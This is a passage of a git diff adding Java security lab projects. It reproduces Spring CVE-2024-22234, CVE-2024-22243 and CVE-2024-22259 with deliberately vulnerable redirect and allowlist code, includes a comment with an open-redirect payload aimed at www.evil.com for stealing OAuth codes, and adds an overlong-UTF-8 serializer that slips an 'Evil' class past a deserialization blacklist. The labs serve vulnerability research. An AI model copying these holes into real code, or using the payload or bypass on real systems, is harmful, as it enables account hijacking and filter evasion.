+ spring-security-demo
+
+ 17
+
+
+
+ org.springframework.boot
+ spring-boot-starter-security
+
+
+ org.springframework.boot
+ spring-boot-starter-web
+
+
+
+
+
+
+
+
+
+
+
+
+
+ org.springframework.boot
+ spring-boot-starter-test
+ test
+
+
+ org.springframework.security
+ spring-security-test
+ test
+
+
+ org.springframework.boot
+ spring-boot-starter-thymeleaf
+
+
+ org.thymeleaf.extras
+ thymeleaf-extras-springsecurity6
+
+
+ org.springframework.boot
+ spring-boot-starter-actuator
+
+
+ org.springframework.boot
+ spring-boot-starter-security
+
+
+
+
+
+
+ org.springframework.boot
+ spring-boot-maven-plugin
+
+
+
+
+
\ No newline at end of file
diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/java/com/drunkbaby/Cve202422234Application.java b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/java/com/drunkbaby/Cve202422234Application.java
new file mode 100644
index 00000000..998195be
--- /dev/null
+++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/java/com/drunkbaby/Cve202422234Application.java
@@ -0,0 +1,13 @@
+package com.drunkbaby;
+
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+
+@SpringBootApplication
+public class Cve202422234Application {
+
+ public static void main(String[] args) {
+ SpringApplication.run(Cve202422234Application.class, args);
+ }
+
+}
diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/java/com/drunkbaby/config/WebSecurityConfig.java b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/java/com/drunkbaby/config/WebSecurityConfig.java
new file mode 100644
index 00000000..db5ef2fe
--- /dev/null
+++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/java/com/drunkbaby/config/WebSecurityConfig.java
@@ -0,0 +1,44 @@
+package com.drunkbaby.config;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.security.config.annotation.web.builders.HttpSecurity;
+import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
+import org.springframework.security.core.userdetails.User;
+import org.springframework.security.core.userdetails.UserDetails;
+import org.springframework.security.core.userdetails.UserDetailsService;
+import org.springframework.security.provisioning.InMemoryUserDetailsManager;
+import org.springframework.security.web.SecurityFilterChain;
+
+@Configuration
+@EnableWebSecurity
+public class WebSecurityConfig {
+
+ @Bean
+ public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
+ http.authorizeHttpRequests((requests) -> requests
+ .requestMatchers("/", "/index").permitAll()
+ .anyRequest().authenticated()
+ )
+
+ .formLogin((form) -> form
+ .loginPage("/login")
+ .permitAll()
+ )
+ .logout((logout) -> logout.permitAll());
+
+ return http.build();
+ }
+
+ @Bean
+ public UserDetailsService userDetailsService() {
+ UserDetails user =
+ User.withDefaultPasswordEncoder()
+ .username("user")
+ .password("password")
+ .roles("USER")
+ .build();
+
+ return new InMemoryUserDetailsManager(user);
+ }
+}
\ No newline at end of file
diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/java/com/drunkbaby/controller/IndexController.java b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/java/com/drunkbaby/controller/IndexController.java
new file mode 100644
index 00000000..15ecbfda
--- /dev/null
+++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/java/com/drunkbaby/controller/IndexController.java
@@ -0,0 +1,67 @@
+package com.drunkbaby.controller;
+
+import org.springframework.security.authentication.AuthenticationTrustResolver;
+import org.springframework.security.authentication.AuthenticationTrustResolverImpl;
+import org.springframework.security.core.Authentication;
+import org.springframework.security.core.context.SecurityContextHolder;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+
+@Controller
+public class IndexController {
+
+ @GetMapping("/index")
+ @ResponseBody
+ public String index(){
+ // 获取当前的认证对象
+ return "success";
+ }
+
+ @GetMapping("/vul")
+ @ResponseBody
+ public String vul(Authentication authentication){
+ // 获取当前的认证对象
+ authentication = null;
+
+ // 创建 AuthenticationTrustResolver 实例
+ AuthenticationTrustResolver trustResolver = new AuthenticationTrustResolverImpl();
+
+ // 使用 isFullyAuthenticated 方法检查是否完全经过身份验证
+ boolean fullyAuthenticated = trustResolver.isFullyAuthenticated(authentication);
+ String msg = "";
+ if (fullyAuthenticated) {
+ msg = "用户已完全经过身份验证";
+ } else {
+ msg = "用户可能是匿名用户或者仅部分经过身份验证";
+ }
+ return msg;
+ }
+
+ @GetMapping("/home")
+ public String home(){
+ return "home";
+ }
+
+ @GetMapping("/hello")
+ public String hello(){
+ return "hello";
+ }
+
+ @GetMapping("/login")
+ public String login(){
+ return "login";
+ }
+
+ public static void main(String[] args) {
+ Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
+
+ // 创建 AuthenticationTrustResolver 实例
+ AuthenticationTrustResolver trustResolver = new AuthenticationTrustResolverImpl();
+
+ // 使用 isFullyAuthenticated 方法检查是否完全经过身份验证
+ boolean fullyAuthenticated = trustResolver.isFullyAuthenticated(null);
+
+ System.out.println(fullyAuthenticated);
+ }
+}
\ No newline at end of file
diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/application.properties b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/application.properties
new file mode 100644
index 00000000..bafddced
--- /dev/null
+++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/application.properties
@@ -0,0 +1 @@
+server.port=8081
\ No newline at end of file
diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/hello.html b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/hello.html
new file mode 100644
index 00000000..37b2fcb2
--- /dev/null
+++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/hello.html
@@ -0,0 +1,13 @@
+
+
+
+ Hello World!
+
+
+
Hello thymeleaf!
+
+
+
\ No newline at end of file
diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/home.html b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/home.html
new file mode 100644
index 00000000..11df00bb
--- /dev/null
+++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/home.html
@@ -0,0 +1,11 @@
+
+
+
+ Spring Security Example
+
+
+
+
+
\ No newline at end of file
diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/login.html b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/login.html
new file mode 100644
index 00000000..ee6536a3
--- /dev/null
+++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/login.html
@@ -0,0 +1,19 @@
+
+
+
+ Spring Security Example
+
+
+
+ Invalid username and password.
+
+
+ You have been logged out.
+
+
+
+
\ No newline at end of file
diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/test/java/com/drunkbaby/Cve202422234ApplicationTests.java b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/test/java/com/drunkbaby/Cve202422234ApplicationTests.java
new file mode 100644
index 00000000..e036432a
--- /dev/null
+++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/test/java/com/drunkbaby/Cve202422234ApplicationTests.java
@@ -0,0 +1,13 @@
+package com.drunkbaby;
+
+import org.junit.jupiter.api.Test;
+import org.springframework.boot.test.context.SpringBootTest;
+
+@SpringBootTest
+class Cve202422234ApplicationTests {
+
+ @Test
+ void contextLoads() {
+ }
+
+}
diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/.gitignore b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/.gitignore
new file mode 100644
index 00000000..549e00a2
--- /dev/null
+++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/.gitignore
@@ -0,0 +1,33 @@
+HELP.md
+target/
+!.mvn/wrapper/maven-wrapper.jar
+!**/src/main/**/target/
+!**/src/test/**/target/
+
+### STS ###
+.apt_generated
+.classpath
+.factorypath
+.project
+.settings
+.springBeans
+.sts4-cache
+
+### IntelliJ IDEA ###
+.idea
+*.iws
+*.iml
+*.ipr
+
+### NetBeans ###
+/nbproject/private/
+/nbbuild/
+/dist/
+/nbdist/
+/.nb-gradle/
+build/
+!**/src/main/**/build/
+!**/src/test/**/build/
+
+### VS Code ###
+.vscode/
diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/pom.xml b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/pom.xml
new file mode 100644
index 00000000..6b16e298
--- /dev/null
+++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/pom.xml
@@ -0,0 +1,76 @@
+
+
+ 4.0.0
+ com.drunkbaby
+ CVE-2024-22243
+ 0.0.1-SNAPSHOT
+ CVE-2024-22243
+ CVE-2024-22243
+
+ 1.8
+ UTF-8
+ UTF-8
+ 2.6.13
+
+
+
+ org.springframework.boot
+ spring-boot-starter
+
+
+
+ org.springframework.boot
+ spring-boot-starter-test
+ test
+
+
+ org.springframework.boot
+ spring-boot-starter-web
+
+
+
+
+
+ org.springframework.boot
+ spring-boot-dependencies
+ ${spring-boot.version}
+ pom
+ import
+
+
+
+
+
+
+
+ org.apache.maven.plugins
+ maven-compiler-plugin
+ 3.8.1
+
+ 1.8
+ 1.8
+ UTF-8
+
+
+
+ org.springframework.boot
+ spring-boot-maven-plugin
+ ${spring-boot.version}
+
+ com.drunkbaby.Cve202422243Application
+ true
+
+
+
+ repackage
+
+ repackage
+
+
+
+
+
+
+
+
diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/main/java/com/drunkbaby/Cve202422243Application.java b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/main/java/com/drunkbaby/Cve202422243Application.java
new file mode 100644
index 00000000..93fdc7cc
--- /dev/null
+++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/main/java/com/drunkbaby/Cve202422243Application.java
@@ -0,0 +1,13 @@
+package com.drunkbaby;
+
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+
+@SpringBootApplication
+public class Cve202422243Application {
+
+ public static void main(String[] args) {
+ SpringApplication.run(Cve202422243Application.class, args);
+ }
+
+}
diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/main/java/com/drunkbaby/controller/VulController.java b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/main/java/com/drunkbaby/controller/VulController.java
new file mode 100644
index 00000000..1811dd52
--- /dev/null
+++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/main/java/com/drunkbaby/controller/VulController.java
@@ -0,0 +1,47 @@
+package com.drunkbaby.controller;
+
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.util.UriComponents;
+import org.springframework.web.util.UriComponentsBuilder;
+
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
+
+
+@Controller
+@RequestMapping("/vul")
+public class VulController {
+
+ private static final Set whiteDomains = new HashSet(Arrays.asList(new String[]{
+ ".a.com"
+ }));
+
+ @GetMapping
+ public String vul(@RequestParam(name = "url") String url, HttpServletResponse response) throws IOException {
+ UriComponents uriComponents = UriComponentsBuilder.fromUriString(url).build();
+ String schema = uriComponents.getScheme();
+ String host = uriComponents.getHost();
+ String path = uriComponents.getPath();
+
+ System.out.printf("schema:%s\n", schema);
+ System.out.printf("host:%s\n", host);
+ System.out.printf("path:%s\n", path);
+
+ boolean pass = false;
+ for (String whiteDomain : whiteDomains) {
+ if (host.endsWith(whiteDomain)) {
+ pass = true;
+ break;
+ }
+ }
+ if (!pass) return "error";
+
+ return "redirect:" + url;
+ }
+}
\ No newline at end of file
diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/test/java/com/drunkbaby/Cve202422243ApplicationTests.java b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/test/java/com/drunkbaby/Cve202422243ApplicationTests.java
new file mode 100644
index 00000000..a42d00b7
--- /dev/null
+++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/test/java/com/drunkbaby/Cve202422243ApplicationTests.java
@@ -0,0 +1,13 @@
+package com.drunkbaby;
+
+import org.junit.jupiter.api.Test;
+import org.springframework.boot.test.context.SpringBootTest;
+
+@SpringBootTest
+class Cve202422243ApplicationTests {
+
+ @Test
+ void contextLoads() {
+ }
+
+}
diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/.gitignore b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/.gitignore
new file mode 100644
index 00000000..549e00a2
--- /dev/null
+++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/.gitignore
@@ -0,0 +1,33 @@
+HELP.md
+target/
+!.mvn/wrapper/maven-wrapper.jar
+!**/src/main/**/target/
+!**/src/test/**/target/
+
+### STS ###
+.apt_generated
+.classpath
+.factorypath
+.project
+.settings
+.springBeans
+.sts4-cache
+
+### IntelliJ IDEA ###
+.idea
+*.iws
+*.iml
+*.ipr
+
+### NetBeans ###
+/nbproject/private/
+/nbbuild/
+/dist/
+/nbdist/
+/.nb-gradle/
+build/
+!**/src/main/**/build/
+!**/src/test/**/build/
+
+### VS Code ###
+.vscode/
diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/pom.xml b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/pom.xml
new file mode 100644
index 00000000..d7609148
--- /dev/null
+++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/pom.xml
@@ -0,0 +1,33 @@
+
+
+
+ org.springframework.boot
+ spring-boot-starter-parent
+ 2.7.18
+
+
+ 4.0.0
+
+ spring-uricomponentsbuilder-2
+
+
+ 8
+ 8
+
+
+
+
+ org.springframework.boot
+ spring-boot-starter-web
+
+
+
+ org.springframework
+ spring-web
+ 5.3.32
+
+
+
+
\ No newline at end of file
diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/main/java/com/drunkbaby/Cve202422259Application.java b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/main/java/com/drunkbaby/Cve202422259Application.java
new file mode 100644
index 00000000..974624c4
--- /dev/null
+++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/main/java/com/drunkbaby/Cve202422259Application.java
@@ -0,0 +1,13 @@
+package com.drunkbaby;
+
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+
+@SpringBootApplication
+public class Cve202422259Application {
+
+ public static void main(String[] args) {
+ SpringApplication.run(Cve202422259Application.class, args);
+ }
+
+}
diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/main/java/com/drunkbaby/controller/OAuthController.java b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/main/java/com/drunkbaby/controller/OAuthController.java
new file mode 100644
index 00000000..d27eaae4
--- /dev/null
+++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/main/java/com/drunkbaby/controller/OAuthController.java
@@ -0,0 +1,74 @@
+package com.drunkbaby.controller;
+
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.util.UriComponents;
+import org.springframework.web.util.UriComponentsBuilder;
+
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * @author threedr3am
+ *
+ * CVE-2024-22259
+ *
+ * 使用UricomponentsBuilder解析外部提供的URL(例如通过查询参数)并对解析URL的主机执行验证检查的应用程序可能容易受到公开重定向攻击,
+ * 如果在通过验证检查后使用该URL,则可能容易受到SSRF攻击。
+ * 这与CVE-2024-22243相同,这是另一种输入不同的情况。
+ *
+ * ### 修复方案
+ * 1. 将 org.springframework:spring-web 升级至 6.1.5 及以上版本
+ * 2. 将 org.springframework:spring-web 升级至 6.0.18 及以上版本
+ * 3. 将 org.springframework:spring-web 升级至 5.3.33 及以上版本
+ *
+ * ### 参考链接
+ * https://spring.io/security/cve-2024-22259
+ * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-22259
+ *
+ */
+@Controller
+@RequestMapping("/oauth")
+public class OAuthController {
+
+ private static final Set whiteDomains = new HashSet(Arrays.asList(new String[]{
+ ".fuckpdd.com"
+ }));
+
+ /**
+ * 一般绕过oauth的host校验,可以开放重定向到恶意站点劫持code
+ * 访问:http://127.0.0.1:8080/oauth?redirect_uri=http%3A%2F%2F%40www.fuckpdd.com%5B%40www.evil.com%2Ftou
+ *
+ *
+ * @param redirectUri [CVE-2024-22259] -> http://@www.fuckpdd.com[@www.evil.com/tou
+ * [CVE-2024-22243] -> http://www.fuckpdd.com[@www.evil.com/tou
+ * @return
+ */
+ @GetMapping
+ public String oauth(@RequestParam(name = "redirect_uri") String redirectUri, HttpServletResponse response) throws IOException {
+ UriComponents uriComponents = UriComponentsBuilder.fromUriString(redirectUri).build();
+ String schema = uriComponents.getScheme();
+ String host = uriComponents.getHost();
+ String path = uriComponents.getPath();
+
+ System.out.printf("schema:%s\n", schema);
+ System.out.printf("host:%s\n", host);
+ System.out.printf("path:%s\n", path);
+
+ boolean pass = false;
+ for (String whiteDomain : whiteDomains) {
+ if (host.endsWith(whiteDomain)) {
+ pass = true;
+ break;
+ }
+ }
+ if (!pass) return "error";
+
+ return "redirect:" + redirectUri;
+ }
+}
\ No newline at end of file
diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/test/java/com/drunkbaby/Cve202422259ApplicationTests.java b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/test/java/com/drunkbaby/Cve202422259ApplicationTests.java
new file mode 100644
index 00000000..93f3b2d0
--- /dev/null
+++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/test/java/com/drunkbaby/Cve202422259ApplicationTests.java
@@ -0,0 +1,13 @@
+package com.drunkbaby;
+
+import org.junit.jupiter.api.Test;
+import org.springframework.boot.test.context.SpringBootTest;
+
+@SpringBootTest
+class Cve202422259ApplicationTests {
+
+ @Test
+ void contextLoads() {
+ }
+
+}
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/.gitignore" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/.gitignore"
new file mode 100644
index 00000000..5ff6309b
--- /dev/null
+++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/.gitignore"
@@ -0,0 +1,38 @@
+target/
+!.mvn/wrapper/maven-wrapper.jar
+!**/src/main/**/target/
+!**/src/test/**/target/
+
+### IntelliJ IDEA ###
+.idea/modules.xml
+.idea/jarRepositories.xml
+.idea/compiler.xml
+.idea/libraries/
+*.iws
+*.iml
+*.ipr
+
+### Eclipse ###
+.apt_generated
+.classpath
+.factorypath
+.project
+.settings
+.springBeans
+.sts4-cache
+
+### NetBeans ###
+/nbproject/private/
+/nbbuild/
+/dist/
+/nbdist/
+/.nb-gradle/
+build/
+!**/src/main/**/build/
+!**/src/test/**/build/
+
+### VS Code ###
+.vscode/
+
+### Mac OS ###
+.DS_Store
\ No newline at end of file
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/pom.xml" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/pom.xml"
new file mode 100644
index 00000000..4ee585be
--- /dev/null
+++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/pom.xml"
@@ -0,0 +1,21 @@
+
+ 4.0.0
+ org.example
+ UTF8Deserialize
+ 1.0-SNAPSHOT
+ Archetype - UTF8Deserialize
+ http://maven.apache.org
+
+
+
+ org.apache.maven.plugins
+ maven-compiler-plugin
+
+ 8
+ 8
+
+
+
+
+
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/ser.bin" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/ser.bin"
new file mode 100644
index 00000000..3c0d7fb1
Binary files /dev/null and "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/ser.bin" differ
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/BypassTest.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/BypassTest.java"
new file mode 100644
index 00000000..ea7e257d
--- /dev/null
+++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/BypassTest.java"
@@ -0,0 +1,55 @@
+import org.example.CustomObjectOutputStream;
+import org.example.Evil;
+
+import java.io.*;
+import java.util.Base64;
+
+public class BypassTest {
+ public static void main(String[] args) throws Exception {
+
+ Evil evil = new Evil();
+ String serializedString = serialize(evil);
+ deserialize(serializedString);
+ }
+
+ static boolean protect(String serializedString) {
+ String blacklist = "Evil";
+ if (serializedString.contains(blacklist)) {
+ return false;
+ }
+ return true;
+ }
+
+
+ static String serialize(Object obj) throws IOException {
+
+ ObjectOutputStream oos2 = new CustomObjectOutputStream(new FileOutputStream("ser.bin"));
+ oos2.writeObject(obj);
+
+ ByteArrayOutputStream baos = new ByteArrayOutputStream();
+ ObjectOutputStream oos = new CustomObjectOutputStream(baos);
+ oos.writeObject(obj);
+ oos.close();
+ return new String(Base64.getEncoder().encode(baos.toByteArray()));
+ }
+
+
+ static void deserialize(String serializedString) throws Exception {
+
+ byte[] decodedBytes = Base64.getDecoder().decode(serializedString);
+ String str1 = new String(decodedBytes); // 使用默认字符集构造字符串
+ System.out.println("String from byteArray: " + str1);
+ if (!protect(str1)) {
+ System.out.println("黑名单");
+ return;
+ }
+
+ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decodedBytes);
+ ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
+
+ Object object = objectInputStream.readObject();
+ System.out.println("反序列化成功:" + object);
+
+ }
+
+}
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/DeserializeTest.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/DeserializeTest.java"
new file mode 100644
index 00000000..3c01c7bf
--- /dev/null
+++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/DeserializeTest.java"
@@ -0,0 +1,24 @@
+import org.example.Evil;
+
+import java.io.*;
+
+public class DeserializeTest {
+
+ public static void main(String[] args) throws Exception {
+ Evil evil = new Evil();
+ // serialize(evil);
+ deserialize("ser.bin");
+ }
+
+ static void serialize(Object obj) throws IOException {
+ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
+ oos.writeObject(obj);
+ }
+
+ static Object deserialize(String Filename) throws IOException, ClassNotFoundException {
+ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
+ Object obj = ois.readObject();
+ return obj;
+ }
+
+}
\ No newline at end of file
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/TestByte.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/TestByte.java"
new file mode 100644
index 00000000..f2785fbd
--- /dev/null
+++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/TestByte.java"
@@ -0,0 +1,13 @@
+public class TestByte {
+ public static void main(String[] args) {
+ int b1 = 0xc1; // 1100 0001
+ int b2 = 0xaf; // 1010 1111
+ int i = ((b1 & 0x1F) << 6) | (b2 & 0x3F << 0); + System.out.println(i); + System.out.println((char) i); + String hex1 = Integer.toHexString(i); + System.out.println(hex1); + String hex2 = Integer.toHexString(i & 0xFF); + System.out.println(hex2); + } +} diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/org/example/CustomObjectOutputStream.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/org/example/CustomObjectOutputStream.java" new file mode 100644 index 00000000..998bb57c --- /dev/null +++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/org/example/CustomObjectOutputStream.java" @@ -0,0 +1,140 @@ +package org.example; + +import java.io.*; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.HashMap; + +public class CustomObjectOutputStream extends ObjectOutputStream { + + private static HashMap map;
+ static {
+ map = new HashMap();
+ map.put('.', new int[]{0xc0, 0xae});
+ map.put(';', new int[]{0xc0, 0xbb});
+ map.put('$', new int[]{0xc0, 0xa4});
+ map.put('[', new int[]{0xc1, 0x9b});
+ map.put(']', new int[]{0xc1, 0x9d});
+ map.put('a', new int[]{0xc1, 0xa1});
+ map.put('b', new int[]{0xc1, 0xa2});
+ map.put('c', new int[]{0xc1, 0xa3});
+ map.put('d', new int[]{0xc1, 0xa4});
+ map.put('e', new int[]{0xc1, 0xa5});
+ map.put('f', new int[]{0xc1, 0xa6});
+ map.put('g', new int[]{0xc1, 0xa7});
+ map.put('h', new int[]{0xc1, 0xa8});
+ map.put('i', new int[]{0xc1, 0xa9});
+ map.put('j', new int[]{0xc1, 0xaa});
+ map.put('k', new int[]{0xc1, 0xab});
+ map.put('l', new int[]{0xc1, 0xac});
+ map.put('m', new int[]{0xc1, 0xad});
+ map.put('n', new int[]{0xc1, 0xae});
+ map.put('o', new int[]{0xc1, 0xaf}); // 0x6f
+ map.put('p', new int[]{0xc1, 0xb0});
+ map.put('q', new int[]{0xc1, 0xb1});
+ map.put('r', new int[]{0xc1, 0xb2});
+ map.put('s', new int[]{0xc1, 0xb3});
+ map.put('t', new int[]{0xc1, 0xb4});
+ map.put('u', new int[]{0xc1, 0xb5});
+ map.put('v', new int[]{0xc1, 0xb6});
+ map.put('w', new int[]{0xc1, 0xb7});
+ map.put('x', new int[]{0xc1, 0xb8});
+ map.put('y', new int[]{0xc1, 0xb9});
+ map.put('z', new int[]{0xc1, 0xba});
+ map.put('A', new int[]{0xc1, 0x81});
+ map.put('B', new int[]{0xc1, 0x82});
+ map.put('C', new int[]{0xc1, 0x83});
+ map.put('D', new int[]{0xc1, 0x84});
+ map.put('E', new int[]{0xc1, 0x85});
+ map.put('F', new int[]{0xc1, 0x86});
+ map.put('G', new int[]{0xc1, 0x87});
+ map.put('H', new int[]{0xc1, 0x88});
+ map.put('I', new int[]{0xc1, 0x89});
+ map.put('J', new int[]{0xc1, 0x8a});
+ map.put('K', new int[]{0xc1, 0x8b});
+ map.put('L', new int[]{0xc1, 0x8c});
+ map.put('M', new int[]{0xc1, 0x8d});
+ map.put('N', new int[]{0xc1, 0x8e});
+ map.put('O', new int[]{0xc1, 0x8f});
+ map.put('P', new int[]{0xc1, 0x90});
+ map.put('Q', new int[]{0xc1, 0x91});
+ map.put('R', new int[]{0xc1, 0x92});
+ map.put('S', new int[]{0xc1, 0x93});
+ map.put('T', new int[]{0xc1, 0x94});
+ map.put('U', new int[]{0xc1, 0x95});
+ map.put('V', new int[]{0xc1, 0x96});
+ map.put('W', new int[]{0xc1, 0x97});
+ map.put('X', new int[]{0xc1, 0x98});
+ map.put('Y', new int[]{0xc1, 0x99});
+ map.put('Z', new int[]{0xc1, 0x9a});
+ }
+ public CustomObjectOutputStream(OutputStream out) throws IOException {
+ super(out);
+ }
+
+ @Override
+ protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException {
+ String name = desc.getName();
+// writeUTF(desc.getName());
+ writeShort(name.length() * 2);
+ for (int i = 0; i < name.length(); i++) { + char s = name.charAt(i); +// System.out.println(s); + write(map.get(s)[0]); + write(map.get(s)[1]); + } + writeLong(desc.getSerialVersionUID()); + try { + byte flags = 0; + if ((boolean)getFieldValue(desc,"externalizable")) { + flags |= ObjectStreamConstants.SC_EXTERNALIZABLE; + Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol"); + protocolField.setAccessible(true); + int protocol = (int) protocolField.get(this); + if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) { + flags |= ObjectStreamConstants.SC_BLOCK_DATA; + } + } else if ((boolean)getFieldValue(desc,"serializable")){ + flags |= ObjectStreamConstants.SC_SERIALIZABLE; + } + if ((boolean)getFieldValue(desc,"hasWriteObjectData")) { + flags |= ObjectStreamConstants.SC_WRITE_METHOD; + } + if ((boolean)getFieldValue(desc,"isEnum") ) { + flags |= ObjectStreamConstants.SC_ENUM; + } + writeByte(flags); + ObjectStreamField[] fields = 